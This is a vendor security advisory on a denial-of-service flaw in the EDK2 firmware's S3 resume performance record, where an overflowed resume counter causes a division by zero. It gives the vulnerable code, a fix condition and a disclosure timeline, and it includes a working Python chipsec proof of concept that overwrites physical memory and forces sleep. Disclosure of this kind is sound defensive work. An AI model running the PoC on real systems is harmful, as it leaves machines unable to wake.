Header bannerHeader banner

[BRLY-2023-021] The Denial Of Service (DoS) vulnerability during PEI phase in EDK2 codebase

September 1, 2023

Summary

The BINARLY efiXplorer team has identified a PEI-phase Denial of Service (DoS) vulnerability in the EDK2 codebase, which can be exploited by an attacker capable of modifying physical memory.

Vulnerability Information

  • BINARLY internal vulnerability identifier: BRLY-2023-021
  • CVSS v3.1: 6.0 Medium AV:L/AC:L/PR:H/UI:N/S:C/C:N/I:N/A:H

Potential impact

By modifying the physical memory from runtime, an attacker can trigger a division by 0 due to a UINT32 overflow. This vulnerability is exploitable on both client and server platforms where S3 sleep is activated.

Vulnerability description

The vulnerability is located on lines 114, 115 in the FpdtStatusCodeListenerPei function.

AcpiS3ResumeRecord->ResumeCount++;
AcpiS3ResumeRecord->AverageResume = DivU64x32 (S3ResumeTotal + AcpiS3ResumeRecord->FullResume, AcpiS3ResumeRecord->ResumeCount);

An attacker with the ability to modify physical memory can control the value of AcpiS3ResumeRecord->ResumeCount. If the attacker sets the value of ResumeCount to 0xFFFFFFFF, and ResumeCount is subsequently incremented, its new value will be 0 (due to UINT32 overflow). Since there is no check for overflow, when  ResumeCount is 0 and passed as the second argument to DivU64x32(), it will trigger a division by 0, and cause a system crash, leading to a DoS.

In order to fix this vulnerability, it is necessary to verify that the ResumeCount value != 0 after increment or != MAX_UINT32 before increment.

PoC

A decompiled code snippet containing a vulnerability in the latest Intel NUC M15 firmware (FirmwarePerformancePei module) is shown below:

VarSize = 8;
RestoreLockBox(&FIRMWARE_PERFORMANCE_S3_POINTER_GUID, &S3PerformanceTablePointer, &VarSize);
AcpiS3PerformanceTable = S3PerformanceTablePointer;
if ( S3PerformanceTablePointer->Header.Signature != 'TP3S' )
  return EFI_ABORTED;
ResumeCount = S3PerformanceTablePointer->S3Resume.ResumeCount;
LODWORD(AverageResume) = S3PerformanceTablePointer->S3Resume.AverageResume;
AverageResume_high = HIDWORD(S3PerformanceTablePointer->S3Resume.AverageResume);
LODWORD(S3PerformanceTablePointer->S3Resume.FullResume) = v4;
HIDWORD(AcpiS3PerformanceTable->S3Resume.FullResume) = v5;
HIDWORD(AverageResume) = AverageResume_high;
S3ResumeTotal = AverageResume * ResumeCount;
// possible UINT32 overflow (if S3Resume.ResumeCount = MAX_UINT32)
ResumeCount = ++AcpiS3PerformanceTable->S3Resume.ResumeCount;
FullResume = AcpiS3PerformanceTable->S3Resume.FullResume;
S3ResumeTotal_1 = S3ResumeTotal;
Sum = S3ResumeTotal + FullResume;
LODWORD(S3ResumeTotal) = HIDWORD(AcpiS3PerformanceTable->S3Resume.FullResume);
LODWORD(AverageResume) = Sum;
HIDWORD(AverageResume) = (__PAIR64__(S3ResumeTotal, S3ResumeTotal_1) + __PAIR64__(HIDWORD(S3ResumeTotal), FullResume)) >> 32;
// possible division by 0
HIDWORD(S3ResumeTotal) = HIDWORD(AverageResume) / ResumeCount;
LODWORD(AcpiS3PerformanceTable->S3Resume.AverageResume) = __PAIR64__(HIDWORD(AverageResume) % ResumeCount, Sum)
                                                        / ResumeCount;
HIDWORD(AcpiS3PerformanceTable->S3Resume.AverageResume) = HIDWORD(S3ResumeTotal);

The PoC below demonstrates the exploitability of this vulnerability on the Intel NUC M15:

import os

import chipsec
import chipsec.chipset
import hexdump

cs = chipsec.chipset.cs()
cs.init(None, True, True)

# FPDT @ 0x0000000000000000
#     0000: 46 50 44 54 44 00 00 00 01 09 49 4E 54 45 4C 00  FPDTD.....INTEL.
#     0010: 4E 55 43 78 69 37 41 35 47 00 00 00 41 4D 49 20  NUCxi7A5G...AMI
#     0020: 13 00 00 01 00 00 10 01 00 00 00 00 00 40 3C 55  .............@<U
#     0030: 00 00 00 00 01 00 10 01 00 00 00 00 00 00 FA 54  ...............T
#     0040: 00 00 00 00

AcpiS3ResumeRecord = 0x54FA0000  # from FPDT ACPI Table
ResumeCountOffset = 0xC
cs.helper.write_physical_mem(
    AcpiS3ResumeRecord + ResumeCountOffset, 4, b"\xff\xff\xff\xff"
)
hexdump.hexdump(cs.helper.read_physical_mem(AcpiS3ResumeRecord, 32))

os.system("echo deep > /sys/power/mem_sleep")
os.system(
    "rtcwake -m mem -s 3"
)  # the system will never wake up due to a division by 0 at the PEI stage

Disclosure timeline

This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.

Disclosure Activity Date
Intel PSIRT is notified 2022-07-26
BINARLY public disclosure date 2023-08-01

Acknowledgements

BINARLY efiXplorer team

Tags
No items found.